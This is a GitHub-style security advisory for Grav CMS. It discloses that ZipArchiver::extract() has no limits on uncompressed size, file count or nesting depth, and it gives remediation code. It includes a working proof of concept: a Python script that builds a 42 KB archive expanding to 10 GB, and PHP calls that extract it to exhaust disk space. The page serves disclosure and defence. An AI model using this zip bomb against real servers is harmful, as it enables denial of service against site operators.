GHSA-928x-9mpw-8h56

ghsaUSosv

Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits

view advisory published 2026-09-02Licence: CC-BY-4.0

## Summary `ZipArchiver::extract()` lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class. --- ## Details **Vulnerable code** - `system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58`: ```php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archive_file); if ($archive === true) { Folder::create($destination); // Only guards against Zip Slip (path traversal) for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name !== false && !$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); } } // Extracts EVERYTHING — no size, count, or depth limit if (!$zip->extractTo($destination)) { ... } $zip->close(); return $this; } } ``` **What's missing vs `Installer::unZip()`**: | Protection | `Installer::unZip()` | `ZipArchiver::extract()` | |-----------|---------------------|------------------------| | Zip Slip guard | ✅ | ✅ | | Max uncompressed size | ✅ (1 GiB) | ❌ | | Max file count | ✅ (50000) | ❌ | | Max nesting depth | ✅ (48) | ❌ | | Pre-extraction validation | ✅ All entries validated first | ❌ Extracts immediately | **The fix applied to Installer** (GHSA-2vcx, `Installer.php:178-269`): ```php // GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk. $limits = $this->archiveLimits(); $size = $count = $depth = 0; for ($i = 0; $i < $numFiles; $i++) { $entryName = $zip->getNameIndex($i); // Check size, count, and depth BEFORE extracting anything if ($limits['maxSize'] > 0) { $size += $entry['size']; } if ($limits['maxDepth'] > 0) { ... } if ($limits['maxFiles'] > 0) { $count++; } // Reject if any limit exceeded } // Only now: $zip->extractTo($destination); ``` None of this validation exists in `ZipArchiver::extract()`. **Reachability**: `ZipArchiver::extract()` is a public method on a concrete class, accessible via the `Archiver::create('zip')` factory. While no first-party Grav code currently calls `extract()` on a `ZipArchiver` instance, third-party plugins and custom code that use the `Archiver` abstraction for ZIP restoration will walk directly into this unprotected path. --- ## Proof of Concept ### Step 1 - Create a zip bomb ```bash # Create a 10 GB zip bomb (42 kB compressed) python3 -c " import zipfile, os z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIP_DEFLATED) zeros = b'\x00' * (1024 * 1024 * 1024) # 1 GB of zeros for i in range(10): z.writestr(f'file_{i}.txt', zeros) z.close() " ls -lh /tmp/zipbomb.zip # Output: 42K /tmp/zipbomb.zip → expands to 10 GB ``` ### Step 2 - Extract via ZipArchiver ```php $archiver = Archiver::create('zip'); $archiver->setArchive('/tmp/zipbomb.zip'); $archiver->extract('/tmp/extracted'); // ← no limits, fills disk ``` The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS). --- ## Impact Any code path that extracts a user-supplied ZIP archive through `ZipArchiver::extract()` will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable. --- ## Remediation Apply the same `archiveLimits()` validation from `Installer::unZip()` to `ZipArchiver::extract()`: ```php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archive_file); if ($archive === true) { Folder::create($destination); // Apply the same archive limits as Installer::unZip() $limits = $this->archiveLimits(); $totalSize = 0; $totalFiles = 0; for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name === false) continue; // Zip Slip guard (existing) if (!$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); } // Decompression bomb guards (NEW) $stat = $zip->statIndex($i); $totalSize += $stat['size'] ?? 0; $totalFiles++; $depth = count(explode('/', trim($name, '/'))); if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) { $zip->close(); throw new RuntimeException('Archive exceeds max nesting depth'); } } if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) { $zip->close(); throw new RuntimeException('Archive exceeds max uncompressed size'); } if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) { $zip->close(); throw new RuntimeException('Archive exceeds max file count'); } if (!$zip->extractTo($destination)) { ... } $zip->close(); return $this; } } ```

01

describes (2)

Related CVEs.

IDseverity exploitable
CVE-2026-61690US——
Grav is a file-based Web platform. Prior to 2.0.1, Grav ZipArchiver::extract() in system/src/Grav/Common/Filesystem/ZipArchiver.php passes archives to ZipArchive::extractTo() witho…
CVE-2026-61455US——
Grav before 2.0.1 contains a decompression bomb vulnerability in ZipArchiver::extract() that lacks limits on uncompressed size, file count, and nesting depth. Attackers can supply…
02

references

External citations — patches, advisories, analysis.

scry

Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.

Free scan